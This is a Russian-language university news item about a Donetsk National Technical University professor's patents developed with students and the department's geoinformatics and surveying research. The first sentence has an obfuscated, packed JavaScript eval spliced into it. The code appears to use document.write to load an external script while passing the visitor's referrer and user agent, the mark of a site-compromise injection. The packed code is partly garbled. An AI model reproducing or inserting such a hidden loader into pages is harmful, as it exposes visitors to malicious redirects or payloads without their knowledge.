

На `eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|hffab|var|u0026u|referrer|aahyz||js|php'.split('|'),0,{}))` кафедре геонформатики и геодезии (ГиГ) Донецкого национального технического университета (ДонНТУ) работает проф. Кренида Ю.Ф. – изобретатель с большим количеством перспективных и полезных идей, на многие из которых университетом получены патенты на изобретения. Особенностью этих патентов является то, что в разработке их технических решений принимали активное участие студенты, магистры, аспиранты: Михно О.В., Зайцева Д.М., Чичикина А.С., Левшенков Д.В.



В июле 2015 г. совместно со студенткой Маевской С.И. получено положительное решение о выдаче очередного патента на изобретение «Способ рекультивации терриконов», позволяющий повысить качество облагораживания поверхности и надежность рекультивации.

Кроме этого, уже защищен патентом способ определения координат пунктов наблюдения сигналов спутниковой навигационной системы. Технология относится к обеспечению геодезического изыскания в городах, селах, на площадках промышленного и жилого строительства, и исключает опасность при проведении геодезических

измерений. Так же, защищен патентом способ измерения раскрытия (зияния) трещин, который при исследованиях деформированных строительных конструкций, зданий, сооружений, горных и почвенных массивов на основании качественной и количественной оценки параметров позволяет оценить состояния объекта съемки. Привлечение будущих инженеров и докторов наук к научной работе позволяет им получить начальные навыки исследователя и в дальнейшей применять их в производственной работе.

Стоит отметить, что на кафедре проводится научная деятельность по разработке геоинформационных технологий и решаются вопросы влияния горных разработок на земную поверхность, подвижность. Проводятся работы по внедрению их результатов в область геодезии и маркшейдерского дела, землеустройства, прогнозирования сдвижения земной поверхности под влиянием подземных горных работ. Собственное программное обеспечение уже широко используется в области фототриангуляции и маркшейдерских геодезических сетей, а так же для прогноза сдвижения и деформаций земной поверхности.